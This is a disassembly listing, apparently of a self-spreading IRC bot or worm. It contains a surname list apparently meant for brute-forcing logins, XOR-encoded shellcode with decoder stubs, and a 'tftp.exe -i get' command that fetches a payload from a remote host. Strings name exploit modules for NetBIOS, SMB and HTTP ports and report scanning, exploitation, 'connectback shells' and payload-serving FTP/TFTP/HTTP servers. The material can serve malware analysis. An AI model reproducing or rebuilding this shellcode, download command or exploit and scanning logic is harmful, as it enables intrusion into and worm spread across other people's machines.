'Ciampaglia',0 ; DATA XREF: ___:0042D998o align 10h aChurch db 'Church',0 ; DATA XREF: ___:0042D994o align 4 aChupasko db 'Chupasko',0 ; DATA XREF: ___:0042D990o align 4 aChu db 'Chu',0 ; DATA XREF: ___:0042D98Co aChristopher db 'Christopher',0 ; DATA XREF: ___:0042D988o aChristie db 'Christie',0 ; DATA XREF: ___:0042D984o align 10h aChristiano db 'Christiano',0 ; DATA XREF: ___:0042D980o align 4 aChristian db 'Christian',0 ; DATA XREF: ___:0042D97Co align 4 aChristenson db 'Christenson',0 ; DATA XREF: ___:0042D978o aChinman db 'Chinman',0 ; DATA XREF: ___:0042D974o aChinipardaz db 'Chinipardaz',0 ; DATA XREF: ___:0042D970o aChilds db 'Childs',0 ; DATA XREF: ___:0042D96Co align 10h aChildress db 'Childress',0 ; DATA XREF: ___:0042D968o align 4 aChien db 'Chien',0 ; DATA XREF: ___:0042D964o align 4 aChiassino db 'Chiassino',0 ; DATA XREF: ___:0042D960o align 10h aChervinsky db 'Chervinsky',0 ; DATA XREF: ___:0042D95Co align 4 aCherry db 'Cherry',0 ; DATA XREF: ___:0042D958o align 4 aCheang db 'Cheang',0 ; DATA XREF: ___:0042D954o align 4 aCharles db 'Charles',0 ; DATA XREF: ___:0042D950o aChapman db 'Chapman',0 ; DATA XREF: ___:0042D94Co aCerioli db 'Cerioli',0 ; DATA XREF: ___:0042D948o aCeniceros db 'Ceniceros',0 ; DATA XREF: ___:0042D944o align 10h aCavell db 'Cavell',0 ; DATA XREF: ___:0042D940o align 4 aCavanagh db 'Cavanagh',0 ; DATA XREF: ___:0042D93Co align 4 aCastelda db 'Castelda',0 ; DATA XREF: ___:0042D938o align 10h aCaspar db 'Caspar',0 ; DATA XREF: ___:0042D934o align 4 aCase db 'Case',0 ; DATA XREF: ___:0042D930o align 10h aCascio db 'Cascio',0 ; DATA XREF: ___:0042D92Co align 4 aCartmill db 'Cartmill',0 ; DATA XREF: ___:0042D928o align 4 aCarper db 'Carper',0 ; DATA XREF: ___:0042D924o align 4 aCaroti db 'Caroti',0 ; DATA XREF: ___:0042D920o align 4 aCarmichael db 'Carmichael',0 ; DATA XREF: ___:0042D91Co align 10h aCarlyle db 'Carlyle',0 ; DATA XREF: ___:0042D918o aCarlos db 'Carlos',0 ; DATA XREF: ___:0042D914o align 10h aCarlin db 'Carlin',0 ; DATA XREF: ___:0042D910o align 4 aCarayannopoulo db 'Carayannopoulos',0 ; DATA XREF: ___:0042D90Co aCaratozzolo db 'Caratozzolo',0 ; DATA XREF: ___:0042D908o aCapursi db 'Capursi',0 ; DATA XREF: ___:0042D904o aCappuccio db 'Cappuccio',0 ; DATA XREF: ___:0042D900o align 4 aCapodilupo db 'Capodilupo',0 ; DATA XREF: ___:0042D8FCo align 4 aCapocaccia db 'Capocaccia',0 ; DATA XREF: ___:0042D8F8o align 10h aCaperton db 'Caperton',0 ; DATA XREF: ___:0042D8F4o align 4 aCapanni db 'Capanni',0 ; DATA XREF: ___:0042D8F0o aCanley db 'Canley',0 ; DATA XREF: ___:0042D8ECo align 4 aCammilleri db 'Cammilleri',0 ; DATA XREF: ___:0042D8E8o align 4 aCammelli db 'Cammelli',0 ; DATA XREF: ___:0042D8E4o align 4 aCalnan db 'Calnan',0 ; DATA XREF: ___:0042D8E0o align 4 aCage db 'Cage',0 ; DATA XREF: ___:0042D8DCo align 4 aByrd db 'Byrd',0 ; DATA XREF: ___:0042D8D8o align 4 aByerly db 'Byerly',0 ; DATA XREF: ___:0042D8D4o align 4 aByatt db 'Byatt',0 ; DATA XREF: ___:0042D8D0o align 4 aBusetta db 'Busetta',0 ; DATA XREF: ___:0042D8CCo aBurridge db 'Burridge',0 ; DATA XREF: ___:0042D8C8o align 10h aBurke db 'Burke',0 ; DATA XREF: ___:0042D8C4o align 4 aBurdzy db 'Burdzy',0 ; DATA XREF: ___:0042D8C0o align 10h aBurden db 'Burden',0 ; DATA XREF: ___:0042D8BCo align 4 aBunton db 'Bunton',0 ; DATA XREF: ___:0042D8B8o align 10h aBullard db 'Bullard',0 ; DATA XREF: ___:0042D8B4o aBudding db 'Budding',0 ; DATA XREF: ___:0042D8B0o aBuchan db 'Buchan',0 ; DATA XREF: ___:0042D8ACo align 4 aBrzycki db 'Brzycki',0 ; DATA XREF: ___:0042D8A8o aBrook db 'Brook',0 ; DATA XREF: ___:0042D8A4o align 4 aBroca db 'Broca',0 ; DATA XREF: ___:0042D8A0o align 10h aBritz db 'Britz',0 ; DATA XREF: ___:0042D89Co align 4 aBrinton db 'Brinton',0 ; DATA XREF: ___:0042D898o aBridges db 'Bridges',0 ; DATA XREF: ___:0042D894o aBridgeman db 'Bridgeman',0 ; DATA XREF: ___:0042D890o align 4 aBrewer db 'Brewer',0 ; DATA XREF: ___:0042D888o ; ___:0042D88Co align 4 aBrennan db 'Brennan',0 ; DATA XREF: ___:0042D884o aBrenan db 'Brenan',0 ; DATA XREF: ___:0042D880o align 4 aBreed db 'Breed',0 ; DATA XREF: ___:0042D87Co align 4 aBrecht db 'Brecht',0 ; DATA XREF: ___:0042D878o align 4 aBradach db 'Bradach',0 ; DATA XREF: ___:0042D874o aBradac db 'Bradac',0 ; DATA XREF: ___:0042D870o align 4 aBracalente db 'Bracalente',0 ; DATA XREF: ___:0042D86Co align 4 aBoyne db 'Boyne',0 ; DATA XREF: ___:0042D868o align 10h aBoym db 'Boym',0 ; DATA XREF: ___:0042D864o align 4 aBoyland db 'Boyland',0 ; DATA XREF: ___:0042D860o aBoyes db 'Boyes',0 ; DATA XREF: ___:0042D85Co align 4 aBoyajian db 'Boyajian',0 ; DATA XREF: ___:0042D858o align 4 aBoxer db 'Boxer',0 ; DATA XREF: ___:0042D854o align 4 aBowers db 'Bowers',0 ; DATA XREF: ___:0042D850o align 4 aBourneuf db 'Bourneuf',0 ; DATA XREF: ___:0042D84Co align 10h aBoudrot db 'Boudrot',0 ; DATA XREF: ___:0042D848o aBoudin db 'Boudin',0 ; DATA XREF: ___:0042D844o align 10h aBotosh db 'Botosh',0 ; DATA XREF: ___:0042D840o align 4 aBothman db 'Bothman',0 ; DATA XREF: ___:0042D83Co aBossi db 'Bossi',0 ; DATA XREF: ___:0042D838o align 4 aBorden db 'Borden',0 ; DATA XREF: ___:0042D834o align 10h aBorack db 'Borack',0 ; DATA XREF: ___:0042D830o align 4 aBoorstin db 'Boorstin',0 ; DATA XREF: ___:0042D82Co align 4 aBoone db 'Boone',0 ; DATA XREF: ___:0042D828o align 4 aBookbinder db 'Bookbinder',0 ; DATA XREF: ___:0042D824o align 4 aBook db 'Book',0 ; DATA XREF: ___:0042D820o align 10h aBontempo db 'Bontempo',0 ; DATA XREF: ___:0042D81Co align 4 aBoniface db 'Boniface',0 ; DATA XREF: ___:0042D818o align 4 aBonham db 'Bonham',0 ; DATA XREF: ___:0042D814o align 10h aBoner db 'Boner',0 ; DATA XREF: ___:0042D810o align 4 aBologna db 'Bologna',0 ; DATA XREF: ___:0042D80Co aBollinger db 'Bollinger',0 ; DATA XREF: ___:0042D808o align 4 aBolick db 'Bolick',0 ; DATA XREF: ___:0042D804o align 4 aBolger db 'Bolger',0 ; DATA XREF: ___:0042D800o align 4 aBlyth db 'Blyth',0 ; DATA XREF: ___:0042D7FCo align 4 aBloxham db 'Bloxham',0 ; DATA XREF: ___:0042D7F8o aBloemhof db 'Bloemhof',0 ; DATA XREF: ___:0042D7F4o align 4 aBloembergen db 'Bloembergen',0 ; DATA XREF: ___:0042D7F0o aBloch db 'Bloch',0 ; DATA XREF: ___:0042D7ECo align 4 aBlizard db 'Blizard',0 ; DATA XREF: ___:0042D7E8o aBliss db 'Bliss',0 ; DATA XREF: ___:0042D7E4o align 4 aBlanke db 'Blanke',0 ; DATA XREF: ___:0042D7E0o align 4 aBlakemore db 'Blakemore',0 ; DATA XREF: ___:0042D7DCo align 10h aBlagg db 'Blagg',0 ; DATA XREF: ___:0042D7D8o align 4 aBlackwell db 'Blackwell',0 ; DATA XREF: ___:0042D7D4o align 4 aBlackbourn db 'Blackbourn',0 ; DATA XREF: ___:0042D7D0o align 10h aBisho db 'Bisho',0 ; DATA XREF: ___:0042D7CCo align 4 aBisema db 'Bisema',0 ; DATA XREF: ___:0042D7C8o align 10h aBir db 'Bir',0 ; DATA XREF: ___:0042D7C4o aBinion db 'Binion',0 ; DATA XREF: ___:0042D7C0o align 4 aBickel db 'Bickel',0 ; DATA XREF: ___:0042D7BCo align 4 aBiagioli db 'Biagioli',0 ; DATA XREF: ___:0042D7B8o align 10h aBeynart db 'Beynart',0 ; DATA XREF: ___:0042D7B4o aBetti db 'Betti',0 ; DATA XREF: ___:0042D7B0o align 10h aBerrizbeitia db 'Berrizbeitia',0 ; DATA XREF: ___:0042D7ACo align 10h aBernston db 'Bernston',0 ; DATA XREF: ___:0042D7A8o align 4 aBernassola db 'Bernassola',0 ; DATA XREF: ___:0042D7A4o align 4 aBernardo db 'Bernardo',0 ; DATA XREF: ___:0042D7A0o align 4 aBerkeJenkins db 'Berke-Jenkins',0 ; DATA XREF: ___:0042D79Co align 4 aBergson db 'Bergson',0 ; DATA XREF: ___:0042D798o aBenedictDye db 'Benedict-Dye',0 ; DATA XREF: ___:0042D794o align 4 aBelloc db 'Belloc',0 ; DATA XREF: ___:0042D790o align 4 aBellini db 'Bellini',0 ; DATA XREF: ___:0042D78Co aBellhouse db 'Bellhouse',0 ; DATA XREF: ___:0042D788o align 4 aBellavance db 'Bellavance',0 ; DATA XREF: ___:0042D784o align 4 aBelinCollart db 'Belin-Collart',0 ; DATA XREF: ___:0042D780o align 4 aBelfer db 'Belfer',0 ; DATA XREF: ___:0042D77Co align 4 aBelaoussof db 'Belaoussof',0 ; DATA XREF: ___:0042D778o align 4 aBelanger db 'Belanger',0 ; DATA XREF: ___:0042D774o align 4 aBehenna db 'Behenna',0 ; DATA XREF: ___:0042D770o aBedford db 'Bedford',0 ; DATA XREF: ___:0042D76Co aBeder db 'Beder',0 ; DATA XREF: ___:0042D768o align 4 aBeckman db 'Beckman',0 ; DATA XREF: ___:0042D764o aBean db 'Bean',0 ; DATA XREF: ___:0042D760o align 4 aBeal db 'Beal',0 ; DATA XREF: ___:0042D75Co align 4 aBeacon db 'Beacon',0 ; DATA XREF: ___:0042D758o align 4 aBayo db 'Bayo',0 ; DATA XREF: ___:0042D754o align 4 aBayles db 'Bayles',0 ; DATA XREF: ___:0042D750o align 4 aBaumiller db 'Baumiller',0 ; DATA XREF: ___:0042D74Co align 4 aBatchelder db 'Batchelder',0 ; DATA XREF: ___:0042D748o align 4 aBashevis db 'Bashevis',0 ; DATA XREF: ___:0042D744o align 10h aBasavappa db 'Basavappa',0 ; DATA XREF: ___:0042D740o align 4 aBartoo db 'Bartoo',0 ; DATA XREF: ___:0042D73Co align 4 aBartolome db 'Bartolome',0 ; DATA XREF: ___:0042D738o align 10h aBartholomew db 'Bartholomew',0 ; DATA XREF: ___:0042D734o aBarry db 'Barry',0 ; DATA XREF: ___:0042D730o align 4 aBarriola db 'Barriola',0 ; DATA XREF: ___:0042D72Co align 10h aBarnett db 'Barnett',0 ; DATA XREF: ___:0042D728o aBarneson db 'Barneson',0 ; DATA XREF: ___:0042D724o align 4 aBarbetti db 'Barbetti',0 ; DATA XREF: ___:0042D720o align 10h aBarberi db 'Barberi',0 ; DATA XREF: ___:0042D71Co aBaranowska db 'Baranowska',0 ; DATA XREF: ___:0042D718o align 4 aBaranczak db 'Baranczak',0 ; DATA XREF: ___:0042D714o align 10h aBarajas db 'Barajas',0 ; DATA XREF: ___:0042D710o aBarabesi db 'Barabesi',0 ; DATA XREF: ___:0042D70Co align 4 aBanta db 'Banta',0 ; DATA XREF: ___:0042D708o align 4 aBaltz db 'Baltz',0 ; DATA XREF: ___:0042D704o align 4 aBallew db 'Ballew',0 ; DATA XREF: ___:0042D700o align 4 aBallatori db 'Ballatori',0 ; DATA XREF: ___:0042D6FCo align 4 aBaleja db 'Baleja',0 ; DATA XREF: ___:0042D6F8o align 10h aBakanowsky db 'Bakanowsky',0 ; DATA XREF: ___:0042D6F4o align 4 aBailar db 'Bailar',0 ; DATA XREF: ___:0042D6F0o align 4 aBagnold db 'Bagnold',0 ; DATA XREF: ___:0042D6ECo aBaglivo db 'Baglivo',0 ; DATA XREF: ___:0042D6E8o aBady db 'Bady',0 ; DATA XREF: ___:0042D6E4o align 4 aBackus db 'Backus',0 ; DATA XREF: ___:0042D6E0o align 4 aBachmuth db 'Bachmuth',0 ; DATA XREF: ___:0042D6DCo align 10h aAzima db 'Azima',0 ; DATA XREF: ___:0042D6D8o align 4 aAyling db 'Ayling',0 ; DATA XREF: ___:0042D6D4o align 10h aAykroyd db 'Aykroyd',0 ; DATA XREF: ___:0042D6D0o aAyiemba db 'Ayiemba',0 ; DATA XREF: ___:0042D6CCo aAxworthy db 'Axworthy',0 ; DATA XREF: ___:0042D6C8o align 4 aAxelrod db 'Axelrod',0 ; DATA XREF: ___:0042D6C4o aAurelius db 'Aurelius',0 ; DATA XREF: ___:0042D6C0o align 10h aAugustus db 'Augustus',0 ; DATA XREF: ___:0042D6BCo align 4 aAtkins db 'Atkins',0 ; DATA XREF: ___:0042D6B8o align 4 aArky db 'Arky',0 ; DATA XREF: ___:0042D6B4o align 4 aArjas db 'Arjas',0 ; DATA XREF: ___:0042D6B0o align 4 aAristotle db 'Aristotle',0 ; DATA XREF: ___:0042D6ACo align 10h aArellano db 'Arellano',0 ; DATA XREF: ___:0042D6A8o align 4 aArduini db 'Arduini',0 ; DATA XREF: ___:0042D6A4o aArbia db 'Arbia',0 ; DATA XREF: ___:0042D6A0o align 4 aAntos db 'Antos',0 ; DATA XREF: ___:0042D69Co align 4 aAnthony db 'Anthony',0 ; DATA XREF: ___:0042D698o aAnsley db 'Ansley',0 ; DATA XREF: ___:0042D694o align 4 aAnfinrud db 'Anfinrud',0 ; DATA XREF: ___:0042D690o align 10h aAndron db 'Andron',0 ; DATA XREF: ___:0042D68Co align 4 aAndrelus db 'Andrelus',0 ; DATA XREF: ___:0042D688o align 4 aAndo db 'Ando',0 ; DATA XREF: ___:0042D684o align 4 aAndel db 'Andel',0 ; DATA XREF: ___:0042D680o align 4 aAnand db 'Anand',0 ; DATA XREF: ___:0042D67Co align 4 aAmsden db 'Amsden',0 ; DATA XREF: ___:0042D678o align 4 aAmeer db 'Ameer',0 ; DATA XREF: ___:0042D674o align 4 aAmatangelo db 'Amatangelo',0 ; DATA XREF: ___:0042D670o align 4 aAmaral db 'Amaral',0 ; DATA XREF: ___:0042D66Co align 10h aAltenhofen db 'Altenhofen',0 ; DATA XREF: ___:0042D668o align 4 aAltenberger db 'Altenberger',0 ; DATA XREF: ___:0042D664o aAltavilla db 'Altavilla',0 ; DATA XREF: ___:0042D660o align 4 aAlongi db 'Alongi',0 ; DATA XREF: ___:0042D65Co align 4 aAllison db 'Allison',0 ; DATA XREF: ___:0042D658o aAleks db 'Aleks',0 ; DATA XREF: ___:0042D654o align 4 aAlda db 'Alda',0 ; DATA XREF: ___:0042D650o align 4 aAlcorn db 'Alcorn',0 ; DATA XREF: ___:0042D64Co align 4 aAlavi db 'Alavi',0 ; DATA XREF: ___:0042D648o align 4 aAhlers db 'Ahlers',0 ; DATA XREF: ___:0042D644o align 4 aAdorno db 'Adorno',0 ; DATA XREF: ___:0042D640o align 4 aAdibe db 'Adibe',0 ; DATA XREF: ___:0042D63Co align 4 aAdelstein db 'Adelstein',0 ; DATA XREF: ___:0042D638o align 4 aAddison db 'Addison',0 ; DATA XREF: ___:off_42D634o aAdams db 'Adams',0 ; DATA XREF: ___:0042D630o align 4 aAckerman db 'Ackerman',0 ; DATA XREF: ___:0042D62Co align 4 aAbdulrazak db 'Abdulrazak',0 ; DATA XREF: ___:off_42D628o align 10h byte_431280 db 50h ; DATA XREF: ___:0040ADEFo ; ___:0040ADFCr db 43h, 2 dup(0) dword_431284 dd 7C7325h ; DATA XREF: ___:0040AE9Ao dword_431288 dd 5D73255Bh, 7Ch ; DATA XREF: ___:0040AFA4o dword_431290 dd 3F3F3Fh ; DATA XREF: ___:loc_40AF9Bo ; sub_41AA42:loc_41AB05o dword_431294 dd 334B32h ; DATA XREF: ___:0040AF94o dword_431298 dd 5058h ; DATA XREF: ___:0040AF86o ; sub_41AA42+AAo dword_43129C dd 4B32h ; DATA XREF: ___:0040AF76o ; sub_41AA42+98o dword_4312A0 dd 454Dh ; DATA XREF: ___:0040AF5Do ; sub_41AA42+7Eo dword_4312A4 dd 3839h ; DATA XREF: ___:0040AF4Do ; sub_41AA42+6Co dword_4312A8 dd 544Eh ; DATA XREF: ___:0040AF3Do ; sub_41AA42+5Ao dword_4312AC dd 3539h ; DATA XREF: ___:0040AF2Fo ; sub_41AA42+46o dword_4312B0 dd 5D64255Bh, 7325h ; DATA XREF: sub_40AFEA+3Ao dword_4312B8 dd 5D4D5Bh ; DATA XREF: sub_40AFEA+2Co ; sub_40AFEA+57o aMirc_0 db 'mIRC',0 ; DATA XREF: sub_40AFEA+18o ; sub_418211+5o align 4 jmp short loc_4312C8 ; --------------------------------------------------------------------------- loc_4312C6: ; CODE XREF: ___:loc_4312C8p jmp short loc_4312CD ; --------------------------------------------------------------------------- loc_4312C8: ; CODE XREF: ___:004312C4j call loc_4312C6 loc_4312CD: ; CODE XREF: ___:loc_4312C6j pop ebx xor ecx, ecx mov cx, 0FFFFh loc_4312D4: ; CODE XREF: ___:004312D9j xor byte ptr [ebx+0Eh], 0FFh inc ebx loop loc_4312D4 add bl, ch add ch, bl add eax, 0FFFFF9E8h call fword ptr [ebx+31h] leave mov cl, 0FFh loc_4312EA: ; CODE XREF: ___:004312EFj xor byte ptr [ebx+0Ch], 0FFh inc ebx loop loc_4312EA ; --------------------------------------------------------------------------- db 3 dup(0) dd 364C033h, 0C783040h, 8B0C408Bh, 8BAD1C70h, 9EB0840h dd 8D34408Bh, 408B7C40h, 3D08B3Ch, 0CA8B3C40h, 8B784803h dd 0DA8B2041h, 331C5903h, 57F633FFh, 3CA8B57h, 7981100Ch dd 7373650Ah, 8B027541h, 3798133h, 72685474h, 3B8B0275h dd 8304C083h, 0F68504C3h, 0FF85DB74h, 0F203D774h, 0E857FA03h dd 12h aTftp_exeIGet db 'tftp.exe -i get ',0 ; --------------------------------------------------------------------------- push 0 call sub_43138C jnz short loc_431378 retn ; --------------------------------------------------------------------------- loc_431378: ; CODE XREF: ___:00431375j ; ___:00431385j call near ptr loc_43137D+1 loc_43137D: ; CODE XREF: ___:loc_431378p add [edx+0], ch call sub_43138C jz loc_431378 retn ; =============== S U B R O U T I N E ======================================= sub_43138C proc near ; CODE XREF: ___:00431370p ; ___:00431380p pop eax pop ebx pop ebp push eax sub esp, 54h xor eax, eax mov edi, esp lea ecx, [eax+40h] mov edx, edi rep stosb mov al, 44h stosd push edi push edx push ecx push ecx push 28h push 1 push ecx push ecx push ebp push ebx call esi add esp, 54h test eax, eax retn sub_43138C endp ; --------------------------------------------------------------------------- align 4 dd 234032Dh, 65726874h, 6C206461h, 2747369h, 202D03h aSNoSThreadFoun db '%s No %s thread found.',0 ; DATA XREF: sub_40B384+51o align 4 aSSStopped_DThr db '%s %s stopped. (%d thread(s) stopped.)',0 ; DATA XREF: sub_40B384+35o align 10h aSym db 'sym',0 ; DATA XREF: sub_40C124+169o dd 0 db 2 dup(0) aSymantec db 'Symantec',0 ; DATA XREF: sub_40B7DA+30o align 4 dd 5 dup(0) dword_431438 dd 0B97h ; DATA XREF: sub_401ACD+1DA0r ; sub_401ACD+1DC9o ... off_43143C dd offset sub_40E0D0 ; DATA XREF: sub_40C124+1EAr dword_431440 dd 0 ; DATA XREF: sub_40B64A+2Eo ; ___:0040D495w ... dword_431444 dd 1 ; DATA XREF: sub_40BACD+1Fr dword_431448 dd 1 ; DATA XREF: sub_40BACD+3B3r dword_43144C dd 0 ; DATA XREF: sub_40BACD+292r dd 636E76h, 0 dd 6E760000h, 63h, 6 dup(0) dd 170Ch, 40E206h, 0 dd 2 dup(1), 0 aNet139 db 'net139',0 align 4 dd 654E0000h, 69706174h, 393331h, 5 dup(0) dd 8Bh, 40DF8Eh, 0 dd 2 dup(1), 0 aNet445 db 'net445',0 align 4 dd 654E0000h, 69706174h, 353434h, 5 dup(0) dd 1BDh, 40DF8Eh, 0 dd 2 dup(1), 0 aAsn80 db 'asn80',0 align 4 dd 53410000h, 2D312E4Eh, 50545448h, 5 dup(0) dd 50h, 40D2D9h, 0 dd 2 dup(1), 0 aAsn445_0 db 'asn445',0 align 4 dd 53410000h, 2D312E4Eh, 424D53h, 5 dup(0) dd 1BDh, 40D2D9h, 0 dd 2 dup(1), 0 aAsn139 db 'asn139',0 align 4 dd 53410000h, 2D312E4Eh, 20424D53h, 544Eh, 4 dup(0) dd 8Bh, 40D2D9h, 0 dd 2 dup(1), 2 dup(0) dd 10100h, 0Eh dup(0) aAsn139_0 db 'asn139',0 align 4 db 2 dup(0) byte_43161A db 1 ; DATA XREF: sub_401ACD:loc_4037E6r ; sub_401ACD+1D23o aAsn445_1 db 'asn445',0 align 4 dd 100h, 3 dup(0) ; --------------------------------------------------------------------------- jmp short loc_431646 ; =============== S U B R O U T I N E ======================================= sub_431636 proc near ; CODE XREF: sub_431636:loc_431646p pop edx dec edx xor ecx, ecx mov cx, 166h loc_43163E: ; CODE XREF: sub_431636+Cj xor byte ptr [edx+ecx], 99h loop loc_43163E jmp short loc_43164B ; --------------------------------------------------------------------------- loc_431646: ; CODE XREF: ___:00431634j call sub_431636 loc_43164B: ; CODE XREF: sub_431636+Ej jo short near ptr dword_4315D4+12h cwde cdq cdq retn sub_431636 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 21h, 95h, 69h dd 9912E664h, 3485E912h, 1291D912h, 0A5EA1241h, 0EF126A9Ah dd 126A9AE1h, 629AB9E7h, 0AA8DD712h, 0C8CECF74h, 629AA612h dd 97F36B12h, 0ED3F6AC0h, 1AC6C091h, 7BDC9D5Eh, 0C7C6C070h dd 0DF125412h, 485A9ABDh, 0AA589A78h, 9112FF50h, 9A85DF12h dd 9B78585Ah, 9912589Ah, 63125A9Ah, 5F1A6E12h, 0F3491297h dd 0E571C09Ah, 1A999999h, 0CFCB945Fh, 0C365CE66h, 9DF34112h dd 99F071C0h, 0C9C99999h, 98F3C9C9h, 0CE669BF3h, 5E411269h dd 9E999B9Eh, 1059AA24h, 89F39DDEh, 0CE66CACEh, 0CA98F36Dh dd 0C961CE66h, 0CE66CAC9h, 0DD751A65h, 42AA6D12h, 10C089F3h dd 627B1785h, 10A1DF10h, 0DF10A5DFh, 0B5DF5ED9h, 99999898h dd 0C989DE14h, 0CACACACFh, 0CACA98F3h, 0FAA5DE5Eh, 1499FDF4h dd 0CAC9A5DEh, 0C97DCE66h, 0AA71CE66h, 591C3559h, 0CBC860ECh dd 4B66CACFh, 7B32C0C3h, 5A59AA77h, 66676271h, 0EDFCDE66h dd 0FAF6EBC9h, 0EBFDFDD8h, 99EAEAFCh, 0F8FCEBDAh, 0EBC9FCEDh dd 0EAFCFAF6h, 0DC99D8EAh, 0C9EDF0E1h, 0FCFAF6EBh, 0D599EAEAh dd 0D5FDF8F6h, 0F8EBFBF0h, 99D8E0EBh, 0C6ABEAEEh, 0CE99ABAAh dd 0F6CAD8CAh, 0EDFCF2FAh, 0F0FB99D8h, 0F599FDF7h, 0FCEDEAF0h dd 0FAF899F7h, 0EDE9FCFAh, 99h aTotalDInS_ db ' Total: %d in %s.',0 ; DATA XREF: sub_40B64A+86o align 4 dword_4317C8 dd 25370320h, 203A0373h, 2C6425h ; DATA XREF: sub_40B64A+46o unk_4317D4 db 2Dh ; - ; DATA XREF: sub_40B64A+11o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aExploitStatist db 'Exploit Statistics:',0 unk_4317F4 db 2Dh ; - ; DATA XREF: sub_40B719+38o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h db 54h ; T db 72h, 61h, 6Eh db 73h ; s db 66h, 65h, 72h db 20h db 53h, 74h, 61h db 74h ; t db 69h, 73h, 74h db 69h ; i db 63h, 73h, 3Ah db 20h db 2, 54h, 46h db 54h ; T db 50h, 2, 3Ah db 20h db 25h, 64h, 2Ch db 20h db 2, 46h, 54h db 50h ; P db 2, 3Ah, 20h aDTotalDInS_ db '%d, Total %d in %s.',0 unk_43183C db 2Dh ; - ; DATA XREF: sub_40B785+22o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aDConnectbackSh db '%d connectback shells in %s.',0 align 4 aScanTimeS_ db ' Scan Time: %s.',0 ; DATA XREF: sub_40B7DA+7Fo dword_431878 dd 25370320h, 28200373h, 73253403h, 2C2903h ; DATA XREF: sub_40B7DA+40o dword_431888 dd 234032Dh, 6E616373h, 202D0302h, 6C707845h, 2074696Fh ; DATA XREF: sub_40B7DA+14o dd 7473694Ch, 3Ah unk_4318A4 db 2Dh ; - ; DATA XREF: ___:0040BA13o db 3, 34h, 2 db 65h ; e db 78h, 70h, 6Ch db 6Fh ; o db 69h, 74h, 2 db 3 aFinishedExploi db '- finished exploiting %s (%d attempts)',0 unk_4318D8 db 2Dh ; - ; DATA XREF: ___:0040B921o db 3, 34h, 2 db 65h ; e db 78h, 70h, 6Ch db 6Fh ; o db 69h, 74h, 2 db 3 db 2Dh, 20h, 74h db 72h ; r db 79h, 69h, 6Eh db 67h ; g db 20h, 2, 25h db 73h ; s db 2, 20h, 6Fh aNSPortD___ db 'n %s (port %d)...',0 align 4 unk_431908 db 2Dh ; - ; DATA XREF: sub_40BA56+42o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aScanNotActive_ db 'Scan not active.',0 align 4 unk_431928 db 2Dh ; - ; DATA XREF: sub_40BA56+2Co db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aCurrentIpS_ db 'Current IP: %s.',0 unk_431944 db 2Dh ; - ; DATA XREF: sub_40BACD+4B7o db 3, 34h, 2 db 68h ; h db 2 dup(74h), 70h db 64h ; d db 2, 3, 2Dh aFailedToSta_33 db ' Failed to start server, error: <%d>.',0 align 4 unk_431978 db 2Dh ; - ; DATA XREF: sub_40BACD+38Fo db 3, 34h, 2 db 63h ; c db 6Fh, 2 dup(6Eh) db 65h ; e db 63h, 74h, 62h db 61h ; a db 63h, 6Bh, 2 db 3 aFailedToSta_34 db '- Failed to start server, error: <%d>.',0 unk_4319B0 db 2Dh ; - ; DATA XREF: sub_40BACD+321o db 3, 34h, 2 db 63h ; c db 6Fh, 2 dup(6Eh) db 65h ; e db 63h, 74h, 62h db 61h ; a db 63h, 6Bh, 2 db 3 aServerStarte_2 db '- Server started on Port: %d.',0 align 10h unk_4319E0 db 2Dh ; - ; DATA XREF: sub_40BACD+26Co db 3, 34h, 2 db 66h ; f db 74h, 70h, 64h db 2 db 3, 2Dh, 20h aFailedToSta_35 db 'Failed to start server, error: <%d>.',0 align 4 unk_431A14 db 2Dh ; - ; DATA XREF: sub_40BACD+1FEo db 3, 34h, 2 db 66h ; f db 74h, 70h, 64h db 2 db 3, 2Dh, 20h aServerStarte_3 db 'Server started on Port: %d, File: %s.',0 align 4 unk_431A48 db 2Dh ; - ; DATA XREF: sub_40BACD+148o db 3, 34h, 2 db 74h ; t db 66h, 74h, 70h db 64h ; d db 2, 3, 2Dh aFailedToSta_36 db ' Failed to start server, error: <%d>.',0 align 4 unk_431A7C db 2Dh ; - ; DATA XREF: sub_40C124+EEo db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aIpSPortDIsOpen db 'IP: %s, Port %d is open.',0 align 4 unk_431AA4 db 2Dh ; - ; DATA XREF: sub_40C124+93o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aIpSDScanThread db 'IP: %s:%d, Scan thread: %d, Sub-thread: %d.',0 unk_431ADC db 2Dh ; - ; DATA XREF: sub_40C124+3E6o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aFinishedAtSDAf db 'Finished at %s:%d after %d minute(s) of scanning.',0 align 4 unk_431B1C db 2Dh ; - ; DATA XREF: sub_40C124+38Bo db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aFailedToStartW db 'Failed to start worker thread, error: <%d>.',0 unk_431B54 db 2Dh ; - ; DATA XREF: sub_40C124+31Bo db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aSDScanThreadDS db '%s:%d, Scan thread: %d, Sub-thread: %d.',0 unk_431B88 db 2Dh ; - ; DATA XREF: sub_40C124+29Fo db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aFailedToInitia db 'Failed to initialize critical section.',0 align 4 dword_431BBC dd 234032Dh, 6E616373h, 202D0302h, 203A5049h, 50207325h ; DATA XREF: sub_40C59B+92o dd 3A74726Fh, 20642520h, 6F207369h, 2E6E6570h, 0 db 2Dh ; - db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aScanningIpSPor db 'Scanning IP: %s, Port: %d.',0 align 4 db 2Dh ; - db 3, 34h, 2 db 70h ; p db 6Fh, 72h, 74h db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aFinishedScanni db 'Finished scanning IP: %s.',0 align 4 db 2Dh ; - db 3, 34h, 2 db 70h ; p db 6Fh, 72h, 74h db 73h ; s db 63h, 61h, 6Eh db 